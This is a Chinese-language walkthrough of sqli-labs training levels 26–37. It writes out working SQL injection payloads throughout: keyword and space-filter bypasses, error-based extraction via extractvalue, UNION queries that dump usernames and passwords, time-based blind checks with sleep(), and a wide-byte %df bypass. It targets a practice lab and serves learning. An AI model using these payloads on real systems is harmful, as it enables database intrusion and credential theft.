sqli-labs————Less-26(绕空格、/*、#等)
该关卡提示空格和注释被转义,我们测试一下:
’ 报错
sqli-labs-master/Less-26/?id=1’ –+ 依旧报错,
我添加的注释不见了,应该是注释被转义成了空字符,我们换成;%00测试一下:
and应该被转义了 phpstorm 抓一下包看看
除了用;%00绕过,我们还可以使用id=1’ or ‘1’=’1进行绕过,但是要注意该关卡的or和空格都进行了转义,空格可以使用编码%0A代替,但是在Windows phpstudy环境下,空白字符编码无效,所以我们无法使用空格。
由于无法使用空格,因此’ (oorrder by 4);%00这种语句都无法使用, 我们使用报错注入:
- 替换:如 and 可替换为 && ,or 可替换为 ||
获取当前数据库
select * from users where id=’1′ union (select(extractvalue(1,concat(0x7e,database()))));%00
获取所有数据库:
但是这里长度有限制,无法全部取出
’ || (select (extractvalue(1,concat(0x7e,(select (group_concat(schema_name)) from (infoorrmation_schema.schemata) )))));%00
获取security库中的表:
select * from users where id=’1′ || (select (extractvalue(1,concat(0x7e,(select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema=0x7365637572697479))))));%00
获取users库中字段:
select * from users where id=’1′ || (select (extractvalue(1,concat(0x7e,(select (group_concat(column_name)) from (infoorrmation_schema.columns) where ((table_schema=0x7365637572697479) aandnd (table_name=0x7573657273)))))));%00 注意and也需要双写:
获取username和password字段的信息:
注意password中or需要双写,由于长度限制,使用group_concat()函数无法取出全部数据,而且空格被转义,所有limit函数也无法使用,因此我们使用where(id=1)来定位数据,这样可以取出全部数据。
sqli-labs-master/Less-26/?id=1’ || (select (extractvalue(1,concat(0x7e,(select (concat(username,0x7e,passwoorrd)) from (security.users) where (id=1))))));%00
sqli-labs————Less-27(union and等)
提示好像是 union and b被过滤了
确定注入参数值类型,
id=1’报错 过滤了 1=1 1=2 没有报错
根据报错信息确定参数值类型为字符型
是否过滤空格,也是过滤
果然过滤union关键字
select也是过滤的,但是大小写可以突破的
PHPSTORM抓包看一下
有破绽 可以大小绕过
空格可以使用编码%0A代替,但是在Windows phpstudy环境下,空白字符编码无效,所以我们无法使用空格。
但是大小写可以突破的 空格%09绕过 ;%00带掉
回显显示为为3
获取当前数据库名顺便获取当前用户名
列出(数据库:security)中所有的表
列出(数据库:security 表:users )中所有的字段
www.sqli.com/less-27/?id=id=-1%27%09uNion%09seLect%091,group_concat(column_name),3%09from%09information_schema.columns%09where%09table_schema=%27security%27and%09table_name=%27users%27;%00
列出(表:users )中第一段结果
www.sqli.com/less-27/?id=id=-1%27%09uNion%09seLect%091,group_concat(concat_ws(0x7e,username,password)),3%09from%09security.users;%00
sqli-labs————Less-28()
老规矩先判断
’ 先来个单引号看看 果然报错 存在注入
然后双引号,看报错,猜测下语句里面用的是什么这里我用单引号报错了,然而双引号没有报错
后面可能就是 select *from users where id=(‘xxx’)
闭合成功 -1%27)%09aNd%09Sleep(10);%00
PHPSTORM抓包看一下
获取当前数据库名顺便获取当前用户名
这里就使用bool/time型注入,则注入得到当前用户的第一个字符
是r 猜测是root
后面就简单了
sqli-labs————Less-29()
看下页面,(这个网站受到世界最好的防火墙保护)
老规矩先判断
输入一个引号发生错误,两个引号正常
感觉是一个数字型
然后输入(,看会不会报错
sql/Less-28a/?id=1)”
后面单引号是闭合原来语句的单引号,加上)没错,说明原来的语句有括号
语句可能就是 select *from users where id=’1’
查看源代码
根据网上教程说是双服务器
验证一下结果如下
据报错提示可以构造闭合了 ‘–+ ,看看是否存在联合查询注入,构造 ,回显如下,说明存在,接下来的操作和以前的单服务器一样了
获取当前的数据库用户名
列出当前的数据库所以表
列出(数据库:security 表:users )中所有的字段
列出(表:users )中第一段结果
sqli-labs————Less-30()
老规矩上来单引号 感觉和29差不多
双引号错误 可以猜猜对面可能是 select * from users where id=”1″
进一步验证
sqli-labs————Less-35()
id=’ 报错 id=’’ 报错
库
表
字段
users 密码
方法二(时间盲注)
判断当前库名称长度
and if(length(database())=,1,sleep(2))–+
没有延时并返回正确则说明正确,有延时则说明错误
判断当前数据库首字母(0x73是s的十六进制)
and if(substr((select database()),1,1)=0x73,1,sleep(2))–+
没有延时并返回正确则说明正确,有延时则说明错误
sqli-labs————Less-36()
查找注入点
’
提示显示被转义 ok
-1%df%27union%20select%201,database(),3%20–%201
注入点
源码被转义了
users 密码
判断当前库名称长度
’ and if(length(database())=,1,sleep(2))–+
sqli-labs————Less-37()
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